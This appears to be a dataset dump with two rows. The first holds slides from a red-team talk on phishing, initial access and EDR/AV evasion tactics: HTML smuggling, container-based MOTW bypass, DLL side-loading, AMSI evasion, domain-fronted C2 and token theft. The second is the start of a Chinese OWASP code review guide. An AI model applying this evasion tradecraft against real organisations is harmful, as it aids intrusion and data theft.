text
stringlengths
100
9.93M
category
stringclasses
11 values
Modern Initial Access and Evasion Tactics Red Teamer’s Delight Mariusz Banach Red Team Operator at ING Tech Poland @mariuszbit, github/mgeeky beacon> whoami Agenda » A Few Phishing Tricks » Initial Access in 2022 » Typical Vectors » Rise of Containerized Malware » The Beauty of HTML Smuggling » Evasion In-Depth » Delivery » Exploitation » Installation » Command & Control » Exfiltration Disclaimer » Initial Access & Evasion tactics effectiveness is very Company/vendor specific » Quite hard to maintain absolute 0% detection rate in Mature, Highly Secured Environments » No fancy new tactics in this Talk :< » This talk shares my insights based on engagements delivered with following security stacks: » MDE, MS Defender For Endpoint + ATP » MDO, MS Defender For Office365 » MDI, MS Defender For Identity » McAfee AV » CrowdStrike Falcon EDR » Palo Alto Proxy » BlueCoat Proxy PHISHING » Stay away of regular e-mail exchanges » Stick more to Third-Party communication channels (LinkedIn, Chat, Contact Forms) » Develop multi-step plausible pretexts » CV/Resume in response to a real Job Offer, Customer Inquiry » Investor Relations (IR) exchange leading to IPO/bonds/shares acquisition » Social Marketing offering » Bonkers tricks: » Ride-to-Left-Override-Like-Its-90s » “This E-mail was scanned.[…] No Spam detected. Links are safe to open.” Phishing » Get familiar with state-of-the-art Detections • Here we reverse-engineer 20+ • MS Defender for Office365 Anti-Spam rules Phishing » Apply Phishing e-mail HTML Linting » On embedded URL’s domain – MS Defender for O365 ATP: Safe Links » Categorisation, Maturity, Prevalence, Certificate CA signer (Lets Encrypt is a no-go) » Domain Warm Up » Landing Page specific » Anti-Sandbox / Anti-Headless » HTML Smuggling <3 » Keep your URL contents benign » Beware of ?id= , ?campaign=, ?track=, /phish.php?sheep= » Number of GET params, their names & values DO MATTER Phishing » Apply Phishing e-mail HTML Linting Phishing » Email Sending Strategy – MS Defender for Office365 cools down a sender upon 4-5th mail » Throttling is absofreakinglutely crucial » What works nice for MDO: » GoPhish -> EC2 587/tcp Socat Redirector -> Gsuite -> Target Phishing INITIAL ACCESS Initial Access » Phish to Persist » instead of Phish to Access (Matt Hand @SpecterOps) » Strive for delayed & elonged execution » --> dechain File Write & Exec events » Use VBA/WSH to Drop DLL/XLL » COM Hijacking » DLL Side Loading / DLL Hijacking (%LOCALAPPDATA%\Microsoft\Teams\version.dll) » XLL Persistence » If dealing with CrowdStrike – drop CPL » Windows Script Host (WSH) » VBE, VBS - VBScript » JSE, JS – JScript » HTA – HTML Application » XSL - XML » WSF – Windows Script File » Language agnostic file format » Allows multiple scripts („jobs”) and combination of languages within a single file » Mostly very-well detected Typical Vectors - WSH WSF VBS JS XSL Initial Access » » Executable files » EXE » CPL – Control Panel Applet (DLL) » XLL – Excel Addition (DLL) » SCR – Screensaver (EXE) » BAT, COM, PS1, SH » Very well detected » Unless dealing with CrowdStrike » For some reason CPL files are excluded from scanning » 100% Success Rate, No Joke Typical Vectors - Executables Initial Access » » Clever use of shortcut files » Still a popular threat, especially in Phishing campaigns » lnk – Link » Often detected Typical Vectors - LNKs Initial Access » » HTML in Attachment – not so commonly detected » Can contain HTML Smuggling payload inside (more on this later) » Can be conveniently abused with Right-To-Left Override trick » „My Resume.vbs” ➔ „My Resume sbv.html” Typical Vectors - HTMLs Initial Access » » COM Scriptlets » SCT – COM Scriptlet » WSC – Windows Script Component » INF-SCT – CSMTP accepts INF which can execute COM Scriptlets » Used to instantiate COM objects » via Regsvr32 » via GetObject » Can be detected WSC SCT Typical Vectors – COM Scriptlets Initial Access » » Dodgy VBA macros » Consider applying Defender ASR Bypasses » Prepend with “Enable Macro” lure message + lure-removal automation » Gazillion of different weaponization strategies – yet merely few effective: » File Dropping-based » DotNetToJS » XSL » Documents that support Auto-Execution » Typical Word, Excel ones » pub - Publisher » rtf – disguised Word document » Macro-Enabled Office still not eradicated Typical Vectors - Maldocs Initial Access » » Some Office documents DO NOT support Auto-Exec » But yet they can be instrumented to run VBA (CustomUI) » ppt, ppsm, pptm – PowerPoint » accde, mdb – Microsoft Access » doc, docx – Word via Template Injection » xls, xlsx – Excel via CustomUI Injection » Lesser detected Typical Vectors - Maldocs Initial Access » » There are other uncommon Office related vectors that support Auto-Execution too: » vdw, vsd, vsdm, vss, vssm, vstm, vst – Visio » mpd, mpp, mpt, mpw, mpx – MS Project » Project_Open()? » Not detected Typical Vectors - Maldocs Initial Access » Rise of Containerized Malware » Starting with 7 Feb 2022, Microsoft blocks VBA macros in documents downloaded from Internet » Files downloaded from Internet have Mark-of-the-Web (MOTW) taint flag » Office documents having MOTW flag are VBA-blocked. Containerized Malware » MOTW, We Evade » Some Container file formats DO NOT propagate MOTW flag to inner files. – As pointed out by Outflank folks » ISO / IMG » 7zip* » CAB » VHD / VHDX » Inner file w/o MOTW Containerized Malware » PDF can contain URL pointing to malware or Attachments » Attachments are commonly used feature to package multiple docs into a single PDF » Attachment can auto-open using Javascript in PDF » We’ve seen Customers using PDFs with 10+ attached resources – on a daily basis Containerized Malware The Beauty of HTML Smuggling Web Server Super Duper Web Proxy Web Browser Endpoint » Gets passed through the most aggressive Web Proxy policies » Proxies, Sandboxes, Emulators, Email Scanning => BYPASSED » Malicious file embedded in HTML in Javascript. » MUST employ anti-sandbox/-headless, + timing evasions HTML Smuggling – Deadly Effective ~ again, thanks Outflank! » Plenty Ways To Skin A Cat (probably there’s a lot more) - Nightmare for detection Use Case designers » Below list of extensions that pose actual risk: Summing Up On File Format Vectors 1. docm 2. doc 3. docx 4. dot 5. dotm 6. rtf 7. xls 8. xlsm 9. xlam 10. xlsx 11. xla 12. xlt 13. xltm 14. slk 15. chm 16. scf 17. url 18. csproj 19. pub 20. ppa 21. ppam 22. pptm 23. ppsm 24. pot 25. potm 26. pps 27. pptx 28. vdw 29. vsd 30. vsdm 31. vss 32. vssm 33. vstm 34. vst 35. library-ms 36. settingscontent-ms 37. mpd 38. mpp 39. mpt 40. mpw 41. mpx 42. vbs 43. vbe 44. hta 45. sct 46. wsf 47. wsc 48. xsl 49. vbe 50. js 51. jse 52. html 53. zip 54. 7z 55. iso 56. img 57. cab 58. pdf 59. vhd 60. vhdx 61. exe 62. scr 63. cpl 64. xll 65. bat 66. ps1 67. cmd 68. sh 69. lnk 70. chm Word Excel Exotics Visio PowerPoint MS Project WSH, COM, HTML Executables Containers Publisher Evasion In-Depth » Apply Evasion Regime At Every Attack Step » Across the Kill-Chain » Each stage of cyber kill-chain comes with unique challenges » Each challenge needs to be modelled from detection potential point-of-view » Each detection area to be addressed with Unique Evasion Evasion In-Depth -> Across The Kill-Chain Evasion In-Depth » » Serve payloads (HTMLs) off Good-Reputation URLs » Avoids self-registered domains » Snags well-trusted certificates » Living Off Trusted Sites (LOTS) » Outlook Attachment volatile URL » Github anonymous Gist • Clouds • Storage Services: S3, Blobs • Virtual Machines + webservers • Serverless endpoints that host files • Inter-Planetary File System (IPFS) Delivery - Payloads Hosting Hi mr.d0x! Evasion In-Depth » » HTML Smuggling + delay + Anti-Sandbox capabilities » VBA Purging, VBA Stomping » Office Document Encryption » VBA Execution Guardrails (Domain Name, Username, etc) » Consider using Template/CustomUI Injection to de-chain infection process Delivery - Evasions Evasion In-Depth » » Office Document gets executed » Good to use non Auto-Exec Docs (CustomUI) » Or Auto-Exec but with ActiveX entry point » Beware of AMSI in VBE7! » DotNetToJS works great against Defender and AMSI! ~ in 2022 » Evades ASR rules: » Block office applications from injecting into other processes » Remote Process Injection + Parent PID Spoofing = SUCCESS Exploitation Evasion In-Depth » » DotNetToJS from VBA » Alternatively XSL Loader from VBA » Low IOC footprint, executes in-memory, stealthy as hell » Spawn into Remote Process to live outside of Office » Utilise Parent PID Spoofing » Or instead use Dechained Execution: » WMI » Scheduled Tasks » ShellBrowserWindow COM (spawns targets as explorer.exe descendants) » COM Hijacking » DLL Side-Loading » AMSI Evasion from VBA is cumbersome » Requires Registry manipulation BEFORE running malicious VBA » Or copying Maldoc into Trusted Locations before running it Exploitation - Evasions Evasion In-Depth » » KILLER EVASION: » BEWARE OF USING COBALT STRIKE , EMPIRE, SILENTTRINITY, COVENANT, METASPLOIT » They’re used to fine tune EDR/XDR/AV detections. Sadly CS is a benchmark now  » If your Client/Team/Employer can afford it: » Develop In-House Malware » Better - Develop In-House Mythic C2 Implant (no time wasted for UI) » What’s fancy nowadays? » Nighthawk – helluva C2, but priceyyy » Brute Ratel C2 – been told it’s good » PoshC2 – may work just fine » Sliver – really evasive, requires mods, too heavy for my taste Installation Evasion In-Depth » » Prefer DLLs over EXEs » Indirect Execution FTW! » Microsoft Defender For Endpoint EDR has this ASR prevalence rule -> not that effective against DLLs » DLL Side-Loading / DLL Hijacking / COM Hijacking / XLLs Installation Evasion In-Depth » » Obfuscate your Implants: » use my ProtectMyTooling » Roll your implants through multiple daisy-chained packers » I’ll release it soon on my Github, stay tuned & follow me on Twitter! Installation Evasion In-Depth » » Watermark iour implants » deliberately inject IOCs » for implants tracking » for VirusTotal polling » to stay ahead of Blue Teams » Inject into: » DOS Stub » Additional PE Section » Manifest » Version Info » PE Checksum, Timestamp Installation Evasion In-Depth » » If you need to have them EXE » Backdoor legitimate EXE » or Sign Your EXE with legitimate Authenticode » PE Backdooring strategy: » Insert Shellcode in the middle of .text » Change OEP » … or better hijack branching JMP/CALL » Regenerate Authenticode signature » Pssst. ScareCrow does Signaturing very well! Installation Evasion In-Depth » 1. Time-Delayed Execution to timeout emulation & make AV Timeout & Transit into Behavioral analysis 2. Run Shellcode only when correct decryption key acquired – see image below 3. Conceal shellcode in second-to-last (or N-to-last) PE Section 4. Use Parent PID Spoofing wherever applicable 5. Prefer staying Inprocess / Inline 6. For Remote-Process Injection – use elonged DripLoader style: • Dechain Alloc + Write + Exec steps • Introduce significant delays among them • Split shellcode into chunks • Write chunks in randomized order • Execute in a ROP style = Indirect Execution Installation – Shellcode Loader Strategies Nighthawk shellcode loader decryption key recovery options: Evasion In-Depth » » Patchless AMSI + ETW Evasion (via HWBP + DR0..DR3) » Anti-Hooking with Direct Syscalls » Consider Self IAT Hooking to redirect unsafe CreateRemoteThread to safe Direct Syscall stubs » Advanced In-Memory Evasions » Shellcode Fluctuation » Thread Stack Spoofing » Process Heap Encryption » Modules Refreshing » Unlink Malware PE Modules from PEB during Sleep » Indirect Execution -> jump to shellcode thread via System Library Gadgets » Indirect Handles Acquisition » convert HWND into Process Handle, » reuse opened LSASS handles » Anti-Debug, Anti-VM, Anti-Dump, Anti-Splicing, Anti-Sandbox, Anti-Emulation, Anti-Forensics, yeeeaaahhh Installation - Evasions Evasion In-Depth » » Switch from Fork & Run into Inline (Inprocess) Operations » Hard to safely perform Remote Process Injection with apex EDR • So instead of injecting – remain inprocess with BOF.NET by @CCob Command & Control Evasion In-Depth » » Utilise Nginx Rev-Proxy + RedWarden to cut off suspicious Requests & evade JA3 » C2 over Serverless Redirectors & Domain Fronting (CDNs) only » AWS Lambda, Azure Functions, CloudFlare Workers, DigitalOcean Apps » Azure CDN, StackPath, Fastly, Akamai, Alibaba, etc. » Communicate over Exotic channels (C3): » Steganography-based in PNGs hosted on Image Hosting » Mattermost » Asana » Github » JIRA » Discord, Slack » Dropbox, Google Drive » OneDrive » MSSQL » LDAP » Printer Jobs Command & Control Evasion In-Depth » » Always in-memory ZIP / Compress files before exfiltrating » Exfiltrate to Cloud Services » Azure Storage / Blob » OneDrive » SharePoint » Google Drive » Exfiltrate by copying to private OneDrive synced folder » Steal Azure / Office Primary Refresh Token (PRT) » Steal OneDrive SSO Access & Refresh Tokens for Session Hijacking on attacker-controlled Machine Exfiltration SUMMARY » Spearphishing via Third-Party channels – LinkedIn » Forget about attachments in 2022, URLs are the primary viable vector » Email Delivery-wise: » GoPhish on VM1 » SMTP Redirector on VM2 » Google Suite / any other decent quality email suite as a next-hop forwarder • Frequency – extremely low yields best results: keep it 4-5 emails every few hours. • Pay extra attention to embedded URLs & maturity of chosen domains • Payload Delivery-wise: • Landing Page equipped with Anti-Sandbox • HTML Smuggling + delay + “plausible deniability” decoy payload Phishing – Bullet Points - What Works Evasion In-Depth » » My personal Bonnie & Clyde: » 2022, still HTML Smuggling + Macro-Enabled Office document = » MacOS – VBA to JXA -> but then heavily sandboxed » Secret Sauce lies in VBA poetry » HTML hosted in high-reputation websites, storages, clouds » Smuggling must include self-defence logic » Office document encryption kills detection entirely – “VelvetSweatshop” might too! » VBA Purging lowers detection potential » VBA Stomping no longer has significant impact on detection potential, therefore not required » Among different VBA Strategies – File Droppers, DotNetToJS, XSL TransformNode are killing machines Delivery – Bullet Points Initial Access – Bullet Points » HTML Smuggling » That drops ISO, IMG, Macro-enabled Office docs (yup, they still keep on rolling) » ISO/IMG/other-containers merely effective against extensions-blacklisting » Yummiest Payload Formats » PUB, PPTM – rarely blacklisted/sandboxed » ACCDB, MDE – for those who favor exotic ones » DOCX + Remote Templates (with arbitrary extensions), » DOC/XLS heavily obfuscated/encrypted/purged/yadda, yadda » CPL – still ignored by CrowdStrike Initial Access – Bullet Points » Effective VBA Macros Strategies » File Droppers » Simplicity at its best » DLL = Indirect + Delayed Execution + No Reputation/Prevalence Evaluation » forget about EXEs in 2022 » Drop proxy DLL into %LOCALAPPDATA%\Microsoft\Teams\version.dll & execute DLL Side-Loading » Drop XLL & setup Excel extension » Drop DLL & execute COM Hijacking » DotNetToJScript flavoured » Pure In-Memory execution » Ironically bypasses Defender’s ASR rule: » “Block office applications from injecting into other processes” » XSL TransformNode » Pure In-Memory execution » super effective, not signatured, low IOC surface, lesser known Installation – Bullet Points » Use Custom Malware or Customize Lesser Known C2s » Modify Open-Source C2 to remove outstanding IOCs, hardcoded HTTP status codes, headers » Develop Custom Shellcode Loader » If you ask me - I’m a purist – C/C++ is the optimal language choice. » Rust/Go/C# add their own specific nuances, I don’t buy them for MalDev » Nim looks promising though » Embed shellcodes in Proxy DLL loaders » Utilize DLL Side-Loading as your execution entry point (Teams’ version.dll is convenient) » Direct Syscalls or intelligent Unhooking, AMSI + ETW evasion, delayed execution are MUST HAVE » Remote-Process Injection is a tough one to get it right, prefer operating Inline/Inprocess » Malware Development CI/CD Pipeline » Develop -> pass through daisy-chained obfuscations -> Backdoor legitimate PE -> Watermark -> Sign It. C2 – Bullet Points » Egress Through HTTPS – Highly Trafficked Servers Only » Serverless Redirectors, » Domain Fronting via CDN, » Legitimate services – Github, Slack, MS Teams, Asana » Forget DNS, ICMP, IRC » We’re no longer in mid-90s – robust NIPS/NIDS and ML-based signaturing outrules exotic protocols » Offensive Deep Packet Inspection » Closely examine Inbound requests and decide if they originate from your Implants/Infra » If not, kill them at spot – TCP RESET/Redirect/404 » RedWarden-style: » Rev-PTR inspection » WHOIS, IP Geo » HTTP Headers » Alignment to expected Malleable contract Q & A Questions? ☺ @mariuszbit / mb@binary-offensive.com https://mgeeky.tech https://github.com/mgeeky ↘
pdf
1 OWASP 代码审计指南 V2.0 中文版 注:本指南版权归 OWASP Foundation 所有。由刘传兴、孙维康翻译,仅供业内人士学习参考。 2 目 录 1 介绍 ......................................................................................................................................................... 10 1.1 前言 ................................................................................................................................................ 10 1.2 介绍 ................................................................................................................................................ 11 1.2.1 主要内容 ............................................................................................................................... 11 1.3 如何使用本文档 .......................................................................................................................... 11 2 相关技术和方法 .................................................................................................................................. 13 2.1 代码安全审计 .............................................................................................................................. 13 2.1.1 代码审计技术参考 ............................................................................................................. 13 2.1.2 为什么代码有漏洞? ........................................................................................................ 14 2.1.3 什么是代码安全审计? ................................................................................................... 16 2.1.4 代码审计和代码安全审计的区别是什么? ............................................................... 17 2.1.5 确定安全源代码审计的规模? ...................................................................................... 17 2.1.6 我们无法保证自己的安全 ............................................................................................... 20 2.1.7 耦合源代码审计和渗透测试 .......................................................................................... 22 2.1.8 代码审计对开发实践的潜在优势 ................................................................................. 24 2.1.9 代码安全审计技术方面 ................................................................................................... 27 2.1.10 代码审计和合规............................................................................................................... 28 3 2.1.11 与代码审计相关的 PCI-DSS 要求 ............................................................................ 29 2.2 方法 ................................................................................................................................................ 30 2.2.1 开发代码审计流程时要考虑的因素............................................................................. 30 2.2.2 在软件开发生命周期中整合代码审计 ........................................................................ 32 2.2.3 何时进行代码审计 ............................................................................................................. 34 2.2.4 敏捷和瀑布开发的代码安全审计 ................................................................................. 37 2.2.5 基于风险的代码审计方法 ............................................................................................... 37 2.2.6 代码审计准备 ...................................................................................................................... 40 2.2.7 代码审计发现和收集信息 ............................................................................................... 43 2.2.8 静态代码分析 ...................................................................................................................... 47 2.2.9 应用威胁建模 ...................................................................................................................... 49 2.2.10 指标和代码审计............................................................................................................... 60 2.2.11 爬行代码 ............................................................................................................................ 65 3 安全代码审计技术参考 .................................................................................................................... 66 3.1 A1 注入漏洞 ................................................................................................................................ 66 3.1.1 概述什么是注入 ................................................................................................................. 66 3.1.2 SQL 注入 ............................................................................................................................... 67 3.1.3 JSON (JavaScript 对象符号) ......................................................................................... 78 3.1.4 内容安全策略 ...................................................................................................................... 79 4 3.1.5 输入验证 ............................................................................................................................... 84 3.2 A2 身份验证和会话管理中断 ................................................................................................ 89 3.2.1 概述 ........................................................................................................................................ 89 3.2.2 身份验证的作用 ................................................................................................................. 89 3.2.3 审计什么 ............................................................................................................................... 90 3.2.4 忘记密码 ............................................................................................................................... 93 3.2.5 验证码 .................................................................................................................................... 94 3.2.6 带外通信 ............................................................................................................................... 96 3.2.7 会话管理 ............................................................................................................................. 100 3.3 A3 跨站点脚本注入(XSS) ............................................................................................... 107 3.3.1 概述 ...................................................................................................................................... 107 3.3.2 超文本标记语言属性编码 ............................................................................................. 111 3.4 A4 不安全直接对象参考 ....................................................................................................... 117 3.4.1 概述 ...................................................................................................................................... 117 3.4.2 描述 ...................................................................................................................................... 117 3.5 A5 安全配置错误 ..................................................................................................................... 122 3.5.1 Apache Struts .................................................................................................................. 123 3.5.2 Java 企业版配置声明方式 ............................................................................................. 125 3.5.3 JEE 注解 ............................................................................................................................... 130 5 3.5.4 应用服务器特定配置 ...................................................................................................... 131 3.5.5 方案配置:J2EE .................................................................................................................. 135 3.5.6 微软 IIS ................................................................................................................................ 138 3.5.7 框架特定配置:微软 IIS ................................................................................................... 140 3.5.8 编程配置:微软 IIS ............................................................................................................ 145 3.5.9 IIS 配置过滤请求和网址重写 ....................................................................................... 146 3.5.10 应用程序签名 ................................................................................................................. 159 3.5.11 反编译 ............................................................................................................................... 164 3.5.12 .NET 身份验证控件 ....................................................................................................... 169 3.6 A6 敏感数据泄露 ..................................................................................................................... 176 3.6.1 加密控制 ............................................................................................................................. 176 3.6.2 描述 ...................................................................................................................................... 177 3.6.3 审计内容:传输中的保护 ................................................................................................ 179 3.6.4 审计内容:静态保护.......................................................................................................... 183 3.6.5 加密、散列和加盐 ........................................................................................................... 191 3.6.6 减小攻击面 ........................................................................................................................ 197 3.7 A7 缺失功能级别访问控制................................................................................................... 201 3.7.1 授权 ...................................................................................................................................... 201 3.7.2 描述 ...................................................................................................................................... 202 6 3.7.3 审计什么 ............................................................................................................................. 204 3.8 A8 跨站点请求伪造(CSRF) ............................................................................................ 207 3.8.1 描述 ...................................................................................................................................... 207 3.8.2 预防 CSRF .......................................................................................................................... 211 3.8.3 没有跨站点脚本(XSS)漏洞 ........................................................................................... 217 3.9 A9 使用已知漏洞的组件 ....................................................................................................... 218 3.9.1 描述 ...................................................................................................................................... 218 3.9.2 审计什么 ............................................................................................................................. 218 3.10 A10 未验证的重定向和转发 ............................................................................................. 220 3.10.1 描述 ................................................................................................................................... 221 3.10.2 审计什么 .......................................................................................................................... 223 3.10.3 参考 ................................................................................................................................... 225 4 其它方面 .............................................................................................................................................. 226 4.1 HTML5 ......................................................................................................................................... 226 4.1.1 描述 ...................................................................................................................................... 226 4.1.2 审计什么:网络信息.......................................................................................................... 227 4.1.3 审计什么:跨域资源共享 ................................................................................................ 228 4.1.4 审计什么:网络套接字 ..................................................................................................... 229 4.1.5 审计什么:服务器发送的事件 ....................................................................................... 231 7 4.2 同源策略(Same Origin Policy) ................................................................................... 232 4.2.1 描述 ...................................................................................................................................... 232 4.2.2 审计什么 ............................................................................................................................. 233 4.3 审计日志代码 ............................................................................................................................ 234 4.3.1 描述 ...................................................................................................................................... 234 4.3.2 审计什么 ............................................................................................................................. 235 4.3.3 参考 ...................................................................................................................................... 238 4.4 错误处理 ..................................................................................................................................... 238 4.4.1 描述 ...................................................................................................................................... 239 4.4.2 审计什么 ............................................................................................................................. 241 4.4.3 参考 ...................................................................................................................................... 256 4.5 审计安全告警 ............................................................................................................................ 256 4.5.1 描述 ...................................................................................................................................... 257 4.5.2 审计什么 ............................................................................................................................. 260 4.6 审计主动防御 ............................................................................................................................ 261 4.6.1 描述 ...................................................................................................................................... 262 4.6.2 审计什么 ............................................................................................................................. 262 4.6.3 参考 ...................................................................................................................................... 265 4.7 竞争条件 ..................................................................................................................................... 265 8 4.7.1 描述 ...................................................................................................................................... 265 4.7.2 审计什么 ............................................................................................................................. 266 4.7.3 参考 ...................................................................................................................................... 267 4.8 缓冲区溢出 ................................................................................................................................. 268 4.8.1 24.1 描述 ............................................................................................................................. 268 4.8.2 审计什么:缓冲区溢出 ..................................................................................................... 269 4.8.3 审计什么:格式化函数溢出 ............................................................................................ 272 4.8.4 审计什么:整数溢出.......................................................................................................... 273 4.8.5 参考 ...................................................................................................................................... 276 4.9 客户端 JavaScript ................................................................................................................... 276 4.9.1 描述 ...................................................................................................................................... 276 4.9.2 其他示例和潜在的安全风险 ........................................................................................ 278 4.9.3 参考: ..................................................................................................................................... 280 5 附录 ....................................................................................................................................................... 280 5.1 代码审计的 Do’s 和 Dont’s .......................................................................................... 280 5.2 敏捷软件开发生命周期 .......................................................................................................... 282 5.2.1 持续集成和测试驱动开发 ............................................................................................. 283 5.2.2 分解过程区域 .................................................................................................................... 284 5.3 代码审计 Checklist ................................................................................................................. 285 9 5.4 威胁模型示例 ............................................................................................................................ 292 5.5 代码爬行 ..................................................................................................................................... 298 5.5.1 在.NET 中搜索代码 ......................................................................................................... 298 5.5.2 在 Java 中搜索代码 ........................................................................................................ 306 5.5.3 在经典 ASP 中搜索代码 ................................................................................................ 311 5.5.4 在 C++和 Apache 中搜索代码.................................................................................. 314 5.5.5 超文本标记语言 ............................................................................................................... 316 10 1 介绍 1.1 前言 OWASP代码审计指南刚开始包含在OWASP Testing Guide 中,比较符合的发展状况。 但随着代码审计的不断发展,逐渐形成了独有的规范标准。我在 2006 年开始代码审计指南 的编写项目。当前版本于 2013 年 4 月重新启动,并获得美国国土安全部的资助。 OWASP 代码审计团队由一群有才华的志愿者组成,他们在全球各类型的企业或组织中 开展代码审计工作,从小型初创公司到全球大型的软件开发企业。 众所周知,当在系统开发生命周期的早期阶段检测到安全问题时,修复成本更低。从安 全角度看,把代码审计与 SDLC 整合有利于产出高质量代码。系统本身安全是抵御攻击者的 最佳方法。攻击者找系统漏洞的时间比防御者多。攻防是一场不公平、不对称的对抗。 本指南没有涵盖所有的编程语言,主要集中在 C#、.NET 和 Java,可能也会包括 C、 C++、PHP 等。但指南中提到的技术基本能够适配任何代码环境。幸运也是不幸的一点是, web 应用中的安全缺陷在不同的编程语言中非常一致。 —— Eoin Keary,OWASP 董事会成员,2013 年 4 月 19 日 11 1.2 介绍 欢迎使用第二版的 OWASP 代码审计指南。第二版更新了最新的威胁和应对措施,也 加入了 OWASP 成员在代码审计方面积累的经验和最佳实践。 1.2.1 主要内容 《代码审计指南》第二版旨在为软件开发人员和管理人员提供代码安全审计的最佳实践 和建议,以及如何在软件安全开发生命周期中使用该指南。该指南首先介绍了如何进行代码 安全审计,如何将其引入公司的 S-SDLC,并根据具体的技术,给出审计人员应该寻找什么 的代码示例。具体而言,该指南涵盖: 概述 如何进行代码安全审计及优势等。它概述了安全代码审计技术,并将代码审计与其它源 码分析技术比较。 方法论 方法论部分更详细地介绍了如何将安全审计技术整合到开发组织的软件开发生命周期 中,以及审计代码的人员如何确保他们有正确的上下文进行有效审计。主题包括将基于风险 的安全代码审计,通过威胁建模来了解正在审计的应用程序,以及了解外部业务驱动因素如 何影响对代码安全审计的需求。 1.3 如何使用本文档 这本指南的内容和结构都经过精心设计。此外,所有贡献的章节都经过精心编辑,并整 合到一个统一的框架中,提供了统一的结构和风格。 12 本指南内容从三种不同的视角展开。 1. 管理团队希望了解为什么需要代码审计,以及为什么在为当今组织开发安全企业软 件的最佳实践中包括代码审计。高级管理人员应该至少阅读本指南的第一节和第二节。如果 进行安全编码将成为组织软件开发生命周期的一部分,那么,管理层需要考虑以下事项: ⚫ 组织项目评估是否为代码审计分配时间? ⚫ 管理层是否有能力跟踪每个项目和程序员的代码审计和静态分析的相关指标? ⚫ 管理层需要决定在项目生命周期中什么时候应该进行代码审计,以及对现有项目的哪些 变更需要在审计之前完成代码审计。 2.软件负责人希望在代码审计中向同行提供有足够经验的反馈,以帮助他们的组织创建 安全的企业软件。他们应该考虑: ⚫ 作为一名同行代码审计员,要使用这本书,你首先要决定你想完成的代码审计类型。让 我们花几分钟时间来复习每一种类型的代码,以帮助决定这本书如何对您有所帮助。 ⚫ 应用编程接口/设计代码审计。使用这本书来理解架构设计如何导致安全漏洞。此外, 如果应用编程接口是第三方应用编程接口,代码中有哪些安全控制来防止安全漏洞。 ⚫ 可维护性代码审计。这些类型的代码审计更倾向于组织内部的最佳编码实践。这本书确 实涵盖了代码度量,这可以帮助代码审计者更好地理解如果一段代码过于复杂,应该查 看哪些代码的安全漏洞。 ⚫ 集成代码审计。同样,这些类型的代码审计更倾向于组织内部的编码策略。正在集成到 项目中的代码是否经过了 IT 管理层的全面审核和批准?许多安全漏洞现在都是通过使 13 用开源库来实现的,这可能会带来不安全的依赖关系。 ⚫ 测试代码审计。敏捷和测试驱动设计,程序员创建单元测试来证明代码方法如程序员所 愿。此代码不是测试软件的指南。代码审计者可能希望关注单元测试用例,以确保所有 方法都有适当的异常;代码以安全的方式失败。如果可能的话,代码中的每个安全控制 都有适当的单元测试用例。 3.代码安全审计者,希望获得关于如何将代码安全审计集成到组织的安全软件开发生命 周期中的更新指南。这本书也将作为代码审计流程中的代码审计参考指南。这本书提供了代 码审计者所需的完整信息来源。首先应该把它作为一个关于代码审计的故事来阅读,然后作 为桌面参考指南来阅读。 2 相关技术和方法 2.1 代码安全审计 2.1.1 代码审计技术参考 在这里,该指南深入探讨了常见的漏洞和技术控制,包括 XSS、SQL 注入、会话跟踪、 身份验证、授权、日志记录和信息泄漏,并提供了各种语言的代码示例来指导审计者。 本节可用于学习各种控制的重要方面,并作为进行代码安全审计时的参考。 我们从 OWASP 的十大问题开始,描述每一个问题需要考虑的技术方面。然后,我们 14 将讨论其他常见的应用程序安全问题,这些问题并不特定于 OWASP 十大问题 代码安全审计可能是在系统开发生命周期早期识别安全漏洞的最有效的技术。当与自动 和手动渗透测试一起使用时,代码审计可以显著提高应用程序安全验证工作的成本效益。 本指南没有规定执行代码安全审计的过程。相反,它提供了如何组织和执行工作的指导。 该指南还侧重于审计代码中某些漏洞的机制。 手动代码安全审计提供了对与不安全代码相关的“真实风险”的洞察。这种上下文相关 的白盒方法有着简单,重要的价值。审计者可以理解代码中的错误或漏洞的相关性。前提是 审计人员要理解被评估的内容。借助适当的上下文,可以对攻击的可能性和违规的业务影响 进行认真的风险评估。漏洞的正确分类有助于优先修复准确和重要的漏洞,而不是浪费时间 修复一切。 2.1.2 为什么代码有漏洞? MITRE 已经记录了 CWE 项目中大约 1000 种不同的软件缺陷。这些都是软件开发人员 可能犯错误导致不安全的不同方式。这些弱点中的每一个都很微妙,许多都非常棘手。软件 开发人员在学校里没有被告知这些弱点,大多数人也没有接受过任何关于这些问题的在职培 训。 这些问题在最近几年变得如此重要,因为我们在以极快的速度增加互联方式,技术和协 议。发明技术的能力已经远远超过了保护技术的能力。今天使用的许多技术根本没有受到足 够(或任何)的安全审计。 15 企业没有在安全上花费适当的时间有许多原因。最直观的原因是源于软件市场的一个潜 在问题。因为软件本质上是一个黑盒,客户很难区分安全和不安全代码。没有这种可见性, 就不鼓励供应商花费额外的精力来生产安全的代码。尽管如此,当信息安全专家提倡代码安 全审计时,他们经常会遇到阻力,他们会为没有在安全方面投入更多精力找以下(不合理的) 借口: “我们从不被黑(据我所知),我们不需要安全” “我们有防火墙来保护我们的应用程序” “我们相信我们的员工不会攻击我们的应用程序” 在过去的 10 年里,参与 OWASP 代码审计项目的团队已经执行了数千次应用程序审计, 并发现每一个应用程序都有安全漏洞。如果代码没有经过安全漏洞审计,应用程序出现问题 的可能性几乎是 100%。 尽管如此,仍有许多组织选择不去了解他们代码的安全性。对他们来说,信奉拉姆斯菲 尔德对我们实际所知的神秘解释: “..我们知道,有已知的知识;有些事情我们知道我们知道。我们也知道有已知的未知; 也就是说,我们知道有些事情我们不知道。但也有未知的未知-那些我们不知道我们不知道 的。” -唐纳德·拉姆斯菲尔德 如果在企业风险测量的基础上做出明智的决策,这会得到充分的支持。然而,如果不理 16 解风险,公司就没有尽职尽责,对股东和客户都不负责任。 2.1.3 什么是代码安全审计? 代码审计旨在识别应用程序中与其特性和设计相关的安全缺陷,以及产生缺陷的根本原 因。随着应用程序的日益复杂和新技术的出现,传统的测试方法可能无法检测到应用程序中 存在的所有安全缺陷。人们必须理解应用程序、外部组件和配置的代码,这样才能更好地发 现缺陷。如此深入地研究应用程序代码也有助于确定可用于避免安全缺陷的确切缓解技术。 审核应用程序源代码的过程是为了验证适当的安全和逻辑控制是否存在,它们是否按预 期工作,以及它们是否在正确的位置被调用。代码审计是一种帮助确保应用程序开发的方式 可以在给定的环境中进行“自我保护”。 代码安全审计允许公司确保应用程序开发人员遵循安全开发技术。一般的经验法则是, 在应用程序经过适当的代码安全审计后,渗透测试不应发现与开发的代码相关的任何其他应 用程序漏洞。或者发现很少的问题。 所有的代码安全审计都是人力和技术支持的结合。可以一个没有经验的文本编辑者,抑 